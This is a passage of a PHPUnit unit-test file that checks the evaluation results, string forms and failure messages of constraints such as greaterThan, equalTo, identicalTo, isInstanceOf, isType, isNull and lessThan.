); try { $constraint->evaluate($file, 'custom message'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals(<<<EOF custom message Failed asserting that file "$file" does not exist. EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_GreaterThan * @covers PHPUnit_Framework_Assert::greaterThan * @covers PHPUnit_Framework_Constraint::count * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintGreaterThan() { $constraint = PHPUnit_Framework_Assert::greaterThan(1); $this->assertFalse($constraint->evaluate(0, '', true)); $this->assertTrue($constraint->evaluate(2, '', true)); $this->assertEquals('is greater than 1', $constraint->toString()); $this->assertEquals(1, count($constraint)); try { $constraint->evaluate(0); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF Failed asserting that 0 is greater than 1. EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_GreaterThan * @covers PHPUnit_Framework_Assert::greaterThan * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintGreaterThan2() { $constraint = PHPUnit_Framework_Assert::greaterThan(1); try { $constraint->evaluate(0, 'custom message'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF custom message Failed asserting that 0 is greater than 1. EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_GreaterThan * @covers PHPUnit_Framework_Constraint_Not * @covers PHPUnit_Framework_Assert::greaterThan * @covers PHPUnit_Framework_Assert::logicalNot * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintNotGreaterThan() { $constraint = PHPUnit_Framework_Assert::logicalNot( PHPUnit_Framework_Assert::greaterThan(1) ); $this->assertTrue($constraint->evaluate(1, '', true)); $this->assertEquals('is not greater than 1', $constraint->toString()); $this->assertEquals(1, count($constraint)); try { $constraint->evaluate(2); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF Failed asserting that 2 is not greater than 1. EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_GreaterThan * @covers PHPUnit_Framework_Constraint_Not * @covers PHPUnit_Framework_Assert::greaterThan * @covers PHPUnit_Framework_Assert::logicalNot * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintNotGreaterThan2() { $constraint = PHPUnit_Framework_Assert::logicalNot( PHPUnit_Framework_Assert::greaterThan(1) ); try { $constraint->evaluate(2, 'custom message'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF custom message Failed asserting that 2 is not greater than 1. EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_IsEqual * @covers PHPUnit_Framework_Constraint_GreaterThan * @covers PHPUnit_Framework_Constraint_Or * @covers PHPUnit_Framework_Assert::greaterThanOrEqual * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintGreaterThanOrEqual() { $constraint = PHPUnit_Framework_Assert::greaterThanOrEqual(1); $this->assertTrue($constraint->evaluate(1, '', true)); $this->assertFalse($constraint->evaluate(0, '', true)); $this->assertEquals('is equal to 1 or is greater than 1', $constraint->toString()); $this->assertEquals(2, count($constraint)); try { $constraint->evaluate(0); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF Failed asserting that 0 is equal to 1 or is greater than 1. EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_IsEqual * @covers PHPUnit_Framework_Constraint_GreaterThan * @covers PHPUnit_Framework_Constraint_Or * @covers PHPUnit_Framework_Assert::greaterThanOrEqual * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintGreaterThanOrEqual2() { $constraint = PHPUnit_Framework_Assert::greaterThanOrEqual(1); try { $constraint->evaluate(0, 'custom message'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF custom message Failed asserting that 0 is equal to 1 or is greater than 1. EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_IsEqual * @covers PHPUnit_Framework_Constraint_GreaterThan * @covers PHPUnit_Framework_Constraint_Or * @covers PHPUnit_Framework_Constraint_Not * @covers PHPUnit_Framework_Assert::greaterThanOrEqual * @covers PHPUnit_Framework_Assert::logicalNot * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintNotGreaterThanOrEqual() { $constraint = PHPUnit_Framework_Assert::logicalNot( PHPUnit_Framework_Assert::greaterThanOrEqual(1) ); $this->assertFalse($constraint->evaluate(1, '', true)); $this->assertEquals('not( is equal to 1 or is greater than 1 )', $constraint->toString()); $this->assertEquals(2, count($constraint)); try { $constraint->evaluate(1); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF Failed asserting that not( 1 is equal to 1 or is greater than 1 ). EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_IsEqual * @covers PHPUnit_Framework_Constraint_GreaterThan * @covers PHPUnit_Framework_Constraint_Or * @covers PHPUnit_Framework_Constraint_Not * @covers PHPUnit_Framework_Assert::greaterThanOrEqual * @covers PHPUnit_Framework_Assert::logicalNot * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintNotGreaterThanOrEqual2() { $constraint = PHPUnit_Framework_Assert::logicalNot( PHPUnit_Framework_Assert::greaterThanOrEqual(1) ); try { $constraint->evaluate(1, 'custom message'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF custom message Failed asserting that not( 1 is equal to 1 or is greater than 1 ). EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_IsAnything * @covers PHPUnit_Framework_Assert::anything * @covers PHPUnit_Framework_Constraint::count * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintIsAnything() { $constraint = PHPUnit_Framework_Assert::anything(); $this->assertTrue($constraint->evaluate(null, '', true)); $this->assertNull($constraint->evaluate(null)); $this->assertEquals('is anything', $constraint->toString()); $this->assertEquals(0, count($constraint)); } /** * @covers PHPUnit_Framework_Constraint_IsAnything * @covers PHPUnit_Framework_Constraint_Not * @covers PHPUnit_Framework_Assert::anything * @covers PHPUnit_Framework_Assert::logicalNot * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintNotIsAnything() { $constraint = PHPUnit_Framework_Assert::logicalNot( PHPUnit_Framework_Assert::anything() ); $this->assertFalse($constraint->evaluate(null, '', true)); $this->assertEquals('is not anything', $constraint->toString()); $this->assertEquals(0, count($constraint)); try { $constraint->evaluate(null); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF Failed asserting that null is not anything. EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_IsEqual * @covers PHPUnit_Framework_Assert::equalTo * @covers PHPUnit_Framework_Constraint::count * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintIsEqual() { $constraint = PHPUnit_Framework_Assert::equalTo(1); $this->assertTrue($constraint->evaluate(1, '', true)); $this->assertFalse($constraint->evaluate(0, '', true)); $this->assertEquals('is equal to 1', $constraint->toString()); $this->assertEquals(1, count($constraint)); try { $constraint->evaluate(0); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF Failed asserting that 0 matches expected 1. EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } public function isEqualProvider() { $a = new stdClass; $a->foo = 'bar'; $b = new stdClass; $ahash = spl_object_hash($a); $bhash = spl_object_hash($b); $c = new stdClass; $c->foo = 'bar'; $c->int = 1; $c->array = [0, [1], [2], 3]; $c->related = new stdClass; $c->related->foo = "a\nb\nc\nd\ne\nf\ng\nh\ni\nj\nk"; $c->self = $c; $c->c = $c; $d = new stdClass; $d->foo = 'bar'; $d->int = 2; $d->array = [0, [4], [2], 3]; $d->related = new stdClass; $d->related->foo = "a\np\nc\nd\ne\nf\ng\nh\ni\nw\nk"; $d->self = $d; $d->c = $c; $storage1 = new SplObjectStorage; $storage1->attach($a); $storage1->attach($b); $storage2 = new SplObjectStorage; $storage2->attach($b); $storage1hash = spl_object_hash($storage1); $storage2hash = spl_object_hash($storage2); $dom1 = new DOMDocument; $dom1->preserveWhiteSpace = false; $dom1->loadXML('<root></root>'); $dom2 = new DOMDocument; $dom2->preserveWhiteSpace = false; $dom2->loadXML('<root><foo/></root>'); $data = [ [1, 0, <<<EOF Failed asserting that 0 matches expected 1. EOF ], [1.1, 0, <<<EOF Failed asserting that 0 matches expected 1.1. EOF ], ['a', 'b', <<<EOF Failed asserting that two strings are equal. --- Expected +++ Actual @@ @@ -'a' +'b' EOF ], ["a\nb\nc\nd\ne\nf\ng\nh\ni\nj\nk", "a\np\nc\nd\ne\nf\ng\nh\ni\nw\nk", <<<EOF Failed asserting that two strings are equal. --- Expected +++ Actual @@ @@ 'a -b +p @@ @@ i -j +w k' EOF ], [1, [0], <<<EOF Array (...) does not match expected type "integer". EOF ], [[0], 1, <<<EOF 1 does not match expected type "array". EOF ], [[0], [1], <<<EOF Failed asserting that two arrays are equal. --- Expected +++ Actual @@ @@ Array ( - 0 => 0 + 0 => 1 ) EOF ], [[true], ['true'], <<<EOF Failed asserting that two arrays are equal. --- Expected +++ Actual @@ @@ Array ( - 0 => true + 0 => 'true' ) EOF ], [[0, [1], [2], 3], [0, [4], [2], 3], <<<EOF Failed asserting that two arrays are equal. --- Expected +++ Actual @@ @@ Array ( 0 => 0 1 => Array ( - 0 => 1 + 0 => 4 ) 2 => Array (...) 3 => 3 ) EOF ], [$a, [0], <<<EOF Array (...) does not match expected type "object". EOF ], [[0], $a, <<<EOF stdClass Object (...) does not match expected type "array". EOF ], [$a, $b, <<<EOF Failed asserting that two objects are equal. --- Expected +++ Actual @@ @@ stdClass Object ( - 'foo' => 'bar' ) EOF ], [$c, $d, <<<EOF Failed asserting that two objects are equal. --- Expected +++ Actual @@ @@ stdClass Object ( 'foo' => 'bar' - 'int' => 1 + 'int' => 2 'array' => Array ( 0 => 0 1 => Array ( - 0 => 1 + 0 => 4 @@ @@ 'foo' => 'a - b + p @@ @@ i - j + w k' ) 'self' => stdClass Object (...) 'c' => stdClass Object (...) ) EOF ], [$dom1, $dom2, <<<EOF Failed asserting that two DOM documents are equal. --- Expected +++ Actual @@ @@ <?xml version="1.0"?> -<root/> +<root> + <foo/> +</root> EOF ], [ new DateTime('2013-03-29 04:13:35', new DateTimeZone('America/New_York')), new DateTime('2013-03-29 04:13:35', new DateTimeZone('America/Chicago')), <<<EOF Failed asserting that two DateTime objects are equal. --- Expected +++ Actual @@ @@ -2013-03-29T04:13:35-0400 +2013-03-29T04:13:35-0500 EOF ], ]; if (PHP_MAJOR_VERSION < 7) { $data[] = [$storage1, $storage2, <<<EOF Failed asserting that two objects are equal. --- Expected +++ Actual @@ @@ -SplObjectStorage Object &$storage1hash ( - '$ahash' => Array &0 ( - 'obj' => stdClass Object &$ahash ( - 'foo' => 'bar' - ) +SplObjectStorage Object &$storage2hash ( + '$bhash' => Array &0 ( + 'obj' => stdClass Object &$bhash () 'inf' => null ) - '$bhash' => Array &0 ) EOF ]; } else { $data[] = [$storage1, $storage2, <<<EOF Failed asserting that two objects are equal. --- Expected +++ Actual @@ @@ -SplObjectStorage Object &$storage1hash ( - '$ahash' => Array &0 ( - 'obj' => stdClass Object &$ahash ( - 'foo' => 'bar' - ) +SplObjectStorage Object &$storage2hash ( + '$bhash' => Array &0 ( + 'obj' => stdClass Object &$bhash () 'inf' => null ) - '$bhash' => Array &0 ) EOF ]; } return $data; } /** * @dataProvider isEqualProvider * @covers PHPUnit_Framework_Constraint_IsEqual * @covers PHPUnit_Framework_Assert::equalTo * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintIsEqual2($expected, $actual, $message) { $constraint = PHPUnit_Framework_Assert::equalTo($expected); try { $constraint->evaluate($actual, 'custom message'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( "custom message\n$message", $this->trimnl(PHPUnit_Framework_TestFailure::exceptionToString($e)) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_IsEqual * @covers PHPUnit_Framework_Constraint_Not * @covers PHPUnit_Framework_Assert::equalTo * @covers PHPUnit_Framework_Assert::logicalNot * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintIsNotEqual() { $constraint = PHPUnit_Framework_Assert::logicalNot( PHPUnit_Framework_Assert::equalTo(1) ); $this->assertTrue($constraint->evaluate(0, '', true)); $this->assertFalse($constraint->evaluate(1, '', true)); $this->assertEquals('is not equal to 1', $constraint->toString()); $this->assertEquals(1, count($constraint)); try { $constraint->evaluate(1); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF Failed asserting that 1 is not equal to 1. EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_IsEqual * @covers PHPUnit_Framework_Constraint_Not * @covers PHPUnit_Framework_Assert::equalTo * @covers PHPUnit_Framework_Assert::logicalNot * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintIsNotEqual2() { $constraint = PHPUnit_Framework_Assert::logicalNot( PHPUnit_Framework_Assert::equalTo(1) ); try { $constraint->evaluate(1, 'custom message'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF custom message Failed asserting that 1 is not equal to 1. EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_IsIdentical * @covers PHPUnit_Framework_Assert::identicalTo * @covers PHPUnit_Framework_Constraint::count * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintIsIdentical() { $a = new stdClass; $b = new stdClass; $constraint = PHPUnit_Framework_Assert::identicalTo($a); $this->assertFalse($constraint->evaluate($b, '', true)); $this->assertTrue($constraint->evaluate($a, '', true)); $this->assertEquals('is identical to an object of class "stdClass"', $constraint->toString()); $this->assertEquals(1, count($constraint)); try { $constraint->evaluate($b); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals(<<<EOF Failed asserting that two variables reference the same object. EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_IsIdentical * @covers PHPUnit_Framework_Assert::identicalTo * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintIsIdentical2() { $a = new stdClass; $b = new stdClass; $constraint = PHPUnit_Framework_Assert::identicalTo($a); try { $constraint->evaluate($b, 'custom message'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals(<<<EOF custom message Failed asserting that two variables reference the same object. EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_IsIdentical * @covers PHPUnit_Framework_Assert::identicalTo * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintIsIdentical3() { $constraint = PHPUnit_Framework_Assert::identicalTo('a'); try { $constraint->evaluate('b', 'custom message'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals(<<<EOF custom message Failed asserting that two strings are identical. --- Expected +++ Actual @@ @@ -a +b EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_IsIdentical * @covers PHPUnit_Framework_Constraint_Not * @covers PHPUnit_Framework_Assert::identicalTo * @covers PHPUnit_Framework_Assert::logicalNot * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintIsNotIdentical() { $a = new stdClass; $b = new stdClass; $constraint = PHPUnit_Framework_Assert::logicalNot( PHPUnit_Framework_Assert::identicalTo($a) ); $this->assertTrue($constraint->evaluate($b, '', true)); $this->assertFalse($constraint->evaluate($a, '', true)); $this->assertEquals('is not identical to an object of class "stdClass"', $constraint->toString()); $this->assertEquals(1, count($constraint)); try { $constraint->evaluate($a); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals(<<<EOF Failed asserting that two variables don't reference the same object. EOF , $this->trimnl(PHPUnit_Framework_TestFailure::exceptionToString($e)) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_IsIdentical * @covers PHPUnit_Framework_Constraint_Not * @covers PHPUnit_Framework_Assert::identicalTo * @covers PHPUnit_Framework_Assert::logicalNot * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintIsNotIdentical2() { $a = new stdClass; $constraint = PHPUnit_Framework_Assert::logicalNot( PHPUnit_Framework_Assert::identicalTo($a) ); try { $constraint->evaluate($a, 'custom message'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals(<<<EOF custom message Failed asserting that two variables don't reference the same object. EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_IsIdentical * @covers PHPUnit_Framework_Constraint_Not * @covers PHPUnit_Framework_Assert::identicalTo * @covers PHPUnit_Framework_Assert::logicalNot * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintIsNotIdentical3() { $constraint = PHPUnit_Framework_Assert::logicalNot( PHPUnit_Framework_Assert::identicalTo('a') ); try { $constraint->evaluate('a', 'custom message'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals(<<<EOF custom message Failed asserting that two strings are not identical. EOF , $this->trimnl(PHPUnit_Framework_TestFailure::exceptionToString($e)) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_IsInstanceOf * @covers PHPUnit_Framework_Assert::isInstanceOf * @covers PHPUnit_Framework_Constraint::count * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintIsInstanceOf() { $constraint = PHPUnit_Framework_Assert::isInstanceOf('Exception'); $this->assertFalse($constraint->evaluate(new stdClass, '', true)); $this->assertTrue($constraint->evaluate(new Exception, '', true)); $this->assertEquals('is instance of class "Exception"', $constraint->toString()); $this->assertEquals(1, count($constraint)); $interfaceConstraint = PHPUnit_Framework_Assert::isInstanceOf('Countable'); $this->assertFalse($interfaceConstraint->evaluate(new stdClass, '', true)); $this->assertTrue($interfaceConstraint->evaluate(new ArrayObject, '', true)); $this->assertEquals('is instance of interface "Countable"', $interfaceConstraint->toString()); try { $constraint->evaluate(new stdClass); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF Failed asserting that stdClass Object () is an instance of class "Exception". EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_IsInstanceOf * @covers PHPUnit_Framework_Assert::isInstanceOf * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintIsInstanceOf2() { $constraint = PHPUnit_Framework_Assert::isInstanceOf('Exception'); try { $constraint->evaluate(new stdClass, 'custom message'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals(<<<EOF custom message Failed asserting that stdClass Object () is an instance of class "Exception". EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_IsInstanceOf * @covers PHPUnit_Framework_Constraint_Not * @covers PHPUnit_Framework_Assert::isInstanceOf * @covers PHPUnit_Framework_Assert::logicalNot * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintIsNotInstanceOf() { $constraint = PHPUnit_Framework_Assert::logicalNot( PHPUnit_Framework_Assert::isInstanceOf('stdClass') ); $this->assertFalse($constraint->evaluate(new stdClass, '', true)); $this->assertTrue($constraint->evaluate(new Exception, '', true)); $this->assertEquals('is not instance of class "stdClass"', $constraint->toString()); $this->assertEquals(1, count($constraint)); try { $constraint->evaluate(new stdClass); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF Failed asserting that stdClass Object () is not an instance of class "stdClass". EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_IsInstanceOf * @covers PHPUnit_Framework_Constraint_Not * @covers PHPUnit_Framework_Assert::isInstanceOf * @covers PHPUnit_Framework_Assert::logicalNot * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintIsNotInstanceOf2() { $constraint = PHPUnit_Framework_Assert::logicalNot( PHPUnit_Framework_Assert::isInstanceOf('stdClass') ); try { $constraint->evaluate(new stdClass, 'custom message'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals(<<<EOF custom message Failed asserting that stdClass Object () is not an instance of class "stdClass". EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_IsType * @covers PHPUnit_Framework_Assert::isType * @covers PHPUnit_Framework_Constraint::count * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintIsType() { $constraint = PHPUnit_Framework_Assert::isType('string'); $this->assertFalse($constraint->evaluate(0, '', true)); $this->assertTrue($constraint->evaluate('', '', true)); $this->assertEquals('is of type "string"', $constraint->toString()); $this->assertEquals(1, count($constraint)); try { $constraint->evaluate(new stdClass); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertStringMatchesFormat(<<<EOF Failed asserting that stdClass Object &%x () is of type "string". EOF , $this->trimnl(PHPUnit_Framework_TestFailure::exceptionToString($e)) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_IsType * @covers PHPUnit_Framework_Assert::isType * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintIsType2() { $constraint = PHPUnit_Framework_Assert::isType('string'); try { $constraint->evaluate(new stdClass, 'custom message'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertStringMatchesFormat(<<<EOF custom message Failed asserting that stdClass Object &%x () is of type "string". EOF , $this->trimnl(PHPUnit_Framework_TestFailure::exceptionToString($e)) ); return; } $this->fail(); } public function resources() { $fh = fopen(__FILE__, 'r'); fclose($fh); return [ 'open resource' => [fopen(__FILE__, 'r')], 'closed resource' => [$fh], ]; } /** * @dataProvider resources * @covers PHPUnit_Framework_Constraint_IsType * @covers PHPUnit_Framework_Assert::isType */ public function testConstraintIsResourceTypeEvaluatesCorrectlyWithResources($resource) { $constraint = PHPUnit_Framework_Assert::isType('resource'); $this->assertTrue($constraint->evaluate($resource, '', true)); @fclose($resource); } /** * @covers PHPUnit_Framework_Constraint_IsType * @covers PHPUnit_Framework_Constraint_Not * @covers PHPUnit_Framework_Assert::isType * @covers PHPUnit_Framework_Assert::logicalNot * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintIsNotType() { $constraint = PHPUnit_Framework_Assert::logicalNot( PHPUnit_Framework_Assert::isType('string') ); $this->assertTrue($constraint->evaluate(0, '', true)); $this->assertFalse($constraint->evaluate('', '', true)); $this->assertEquals('is not of type "string"', $constraint->toString()); $this->assertEquals(1, count($constraint)); try { $constraint->evaluate(''); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF Failed asserting that '' is not of type "string". EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_IsType * @covers PHPUnit_Framework_Constraint_Not * @covers PHPUnit_Framework_Assert::isType * @covers PHPUnit_Framework_Assert::logicalNot * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintIsNotType2() { $constraint = PHPUnit_Framework_Assert::logicalNot( PHPUnit_Framework_Assert::isType('string') ); try { $constraint->evaluate('', 'custom message'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals(<<<EOF custom message Failed asserting that '' is not of type "string". EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_IsNull * @covers PHPUnit_Framework_Assert::isNull * @covers PHPUnit_Framework_Constraint::count * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintIsNull() { $constraint = PHPUnit_Framework_Assert::isNull(); $this->assertFalse($constraint->evaluate(0, '', true)); $this->assertTrue($constraint->evaluate(null, '', true)); $this->assertEquals('is null', $constraint->toString()); $this->assertEquals(1, count($constraint)); try { $constraint->evaluate(0); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals(<<<EOF Failed asserting that 0 is null. EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_IsNull * @covers PHPUnit_Framework_Assert::isNull * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintIsNull2() { $constraint = PHPUnit_Framework_Assert::isNull(); try { $constraint->evaluate(0, 'custom message'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals(<<<EOF custom message Failed asserting that 0 is null. EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_IsNull * @covers PHPUnit_Framework_Constraint_Not * @covers PHPUnit_Framework_Assert::isNull * @covers PHPUnit_Framework_Assert::logicalNot * @covers PHPUnit_Framework_Constraint::count * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintIsNotNull() { $constraint = PHPUnit_Framework_Assert::logicalNot( PHPUnit_Framework_Assert::isNull() ); $this->assertFalse($constraint->evaluate(null, '', true)); $this->assertTrue($constraint->evaluate(0, '', true)); $this->assertEquals('is not null', $constraint->toString()); $this->assertEquals(1, count($constraint)); try { $constraint->evaluate(null); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals(<<<EOF Failed asserting that null is not null. EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_IsNull * @covers PHPUnit_Framework_Constraint_Not * @covers PHPUnit_Framework_Assert::isNull * @covers PHPUnit_Framework_Assert::logicalNot * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintIsNotNull2() { $constraint = PHPUnit_Framework_Assert::logicalNot( PHPUnit_Framework_Assert::isNull() ); try { $constraint->evaluate(null, 'custom message'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals(<<<EOF custom message Failed asserting that null is not null. EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_LessThan * @covers PHPUnit_Framework_Assert::lessThan * @covers PHPUnit_Framework_Constraint::count * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintLessThan() { $constraint = PHPUnit_Framework_Assert::lessThan(1); $this->assertTrue($constraint->evaluate(0, '', true)); $this->assertFalse($constraint->evaluate(1, '', true)); $this->assertEquals('is less than 1', $constraint->toString()); $this->assertEquals(1, count($constraint)); try { $constraint->evaluate(1); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF Failed asserting that 1 is less than 1. EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_LessThan * @covers PHPUnit_Framework_Assert::lessThan * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintLessThan2() { $constraint = PHPUnit_Framework_Assert::lessThan(1); try { $constraint->evaluate(1, 'custom message'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF custom message Failed asserting that 1 is less than 1. EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_LessThan * @covers PHPUnit_Framework_Constraint_Not * @covers PHPUnit_Framework_Assert::lessThan * @covers PHPUnit_Framework_Assert::logicalNot * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintNotLessThan() { $constraint = PHPUnit_Framework_Assert::logicalNot( PHPUnit_Framework_Assert::lessThan(1) ); $this->assertTrue($constraint->evaluate(1, '', true)); $this->assertFalse($constraint->evaluate(0, '', true)); $this->assertEquals('is not less than 1', $constraint->toString()); $this->assertEquals(1, count($constraint)); try { $constraint->evaluate(0); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF Failed asserting that 0 is not less than 1. EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_LessThan * @covers PHPUnit_Framework_Constraint_Not * @covers PHPUnit_Framework_Assert::lessThan * @covers PHPUnit_Framework_Assert::logicalNot * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintNotLessThan2() { $constraint = PHPUnit_Framework_Assert::logicalNot( PHPUnit_Framework_Assert::lessThan(1) ); try { $constraint->evaluate(0, 'custom message'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF custom message Failed asserting that 0 is not less than 1. EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_IsEqual * @covers PHPUnit_Framework_Constraint_LessThan * @covers PHPUnit_Framework_Constraint_Or * @covers PHPUnit_Framework_Assert::lessThanOrEqual * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function 